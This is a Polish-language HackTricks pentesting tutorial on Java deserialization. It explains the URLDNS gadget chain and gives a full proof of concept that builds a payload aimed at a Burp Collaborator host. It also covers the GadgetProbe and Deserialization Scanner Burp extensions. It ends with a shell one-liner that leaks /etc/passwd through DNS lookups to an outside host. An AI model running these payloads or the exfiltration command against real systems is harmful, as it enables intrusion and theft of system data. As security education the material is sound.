hacktricks/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md
2024-02-11 01:46:25 +00:00

11 KiB

Java Deserializacja DNS, GadgetProbe i Skaner Deserializacji Java

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Żądanie DNS podczas deserializacji

Klasa java.net.URL implementuje Serializable, co oznacza, że ta klasa może być serializowana.

public final class URL implements java.io.Serializable {

Ta klasa ma ciekawe zachowanie. Z dokumentacji wynika, że "Dwa hosty są uważane za równoważne, jeśli oba nazwy hostów mogą być przekształcone w te same adresy IP".
W związku z tym, za każdym razem, gdy obiekt URL wywołuje dowolną z funkcji equals lub hashCode, zostanie wysłane żądanie DNS w celu uzyskania adresu IP.

Wywołanie funkcji hashCode z obiektu URL jest dość proste, wystarczy umieścić ten obiekt wewnątrz HashMap, który zostanie zdeserializowany. Dzieje się tak, ponieważ na końcu funkcji readObject z HashMap jest wykonywany ten kod:

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[   ...   ]
for (int i = 0; i < mappings; i++) {
[   ...   ]
putVal(hash(key), key, value, false, false);
}

Będzie wykonywać putVal z każdą wartością wewnątrz HashMap. Jednak bardziej istotne jest wywołanie funkcji hash z każdą wartością. Oto kod funkcji hash:

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

Jak można zauważyć, podczas deserializacji HashMap, funkcja hash zostanie wykonana dla każdego obiektu, a podczas wykonywania funkcji hash zostanie wykonane .hashCode() obiektu. Dlatego, jeśli deserializujemy HashMap zawierającą obiekt URL, obiekt URL wykona metodę .hashCode().

Teraz spójrzmy na kod metody URLObject.hashCode() :

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;

Jak widać, gdy obiekt URLObject wykonuje .hashCode(), jest to wywołanie hashCode(this). Kontynuację można zobaczyć w kodzie tej funkcji:

protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
[   ...   ]

Można zauważyć, że wywoływana jest metoda getHostAddress dla domeny, uruchamiając zapytanie DNS.

Dlatego ta klasa może być wykorzystana do uruchomienia zapytania DNS w celu demonstracji możliwości deserializacji, a nawet do wycieku informacji (można dołączyć jako subdomenę wynik wykonania polecenia).

Przykład kodu payloadu URLDNS

Możesz znaleźć kod payloadu URLDNS z ysoserial tutaj. Jednak dla ułatwienia zrozumienia, jak to zakodować, stworzyłem własne PoC (oparte na tym z ysoserial):

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}

public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);

//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}


class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

Więcej informacji

GadgetProbe

Możesz pobrać GadgetProbe ze sklepu Burp Suite App (Extender).

GadgetProbe spróbuje ustalić, czy niektóre klasy Java istnieją w klasie Java serwera, dzięki czemu można dowiedzieć się, czy jest podatny na znane wykorzystanie.

Jak to działa

GadgetProbe użyje tego samego ładunku DNS z poprzedniej sekcji, ale przed wykonaniem zapytania DNS spróbuje zdeserializować dowolną klasę. Jeśli dowolna klasa istnieje, zapytanie DNS zostanie wysłane, a GadgetProbe zanotuje, że ta klasa istnieje. Jeśli żądanie DNS nie zostanie wysłane, oznacza to, że dowolna klasa nie została pomyślnie zdeserializowana, więc albo jej nie ma, albo nie jest serializowalna/wykorzystywalna.

Wewnątrz repozytorium GitHub, GadgetProbe ma kilka list słów z klasami Java do przetestowania.

https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif

Więcej informacji

Skaner deserializacji Java

Ten skaner można pobrać ze sklepu Burp App (Extender).
Rozszerzenie ma zdolności pasywne i aktywne.

Pasywne

Domyślnie sprawdza pasywnie wszystkie wysłane żądania i odpowiedzi, szukając magicznych bajtów serializacji Java i wyświetli ostrzeżenie o podatności, jeśli zostaną znalezione:

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

Aktywne

Testowanie ręczne

Możesz wybrać żądanie, kliknąć prawym przyciskiem myszy i Send request to DS - Manual Testing.
Następnie, w zakładce Deserialization Scanner --> Manual testing tab możesz wybrać miejsce wstrzyknięcia. I uruchomić testowanie (Wybierz odpowiedni atak w zależności od użytego kodowania).

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

Nawet jeśli to jest nazywane "testowaniem ręcznym", jest to dość zautomatyzowane. Automatycznie sprawdzi, czy deserializacja jest podatna na dowolny ładunek ysoserial, sprawdzając biblioteki obecne na serwerze sieciowym i wyróżnia te podatne. Aby sprawdzić podatne biblioteki, można wybrać uruchomienie Javas Sleeps, sleeps za pomocą zużycia CPU lub używając DNS, o czym wcześniej wspomniano.

Wykorzystywanie

Po zidentyfikowaniu podatnej biblioteki można wysłać żądanie do zakładki Exploiting.
W tej zakładce musisz ponownie wybrać punkt wstrzyknięcia, wpisać podatną bibliotekę, dla której chcesz utworzyć ładunek, i polecenie. Następnie wystarczy nacisnąć odpowiedni przycisk Attack.

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

Informacje o eksfiltracji DNS deserializacji Java

Spraw, aby twój ładunek wykonał coś takiego jak:

(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)

Więcej informacji

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: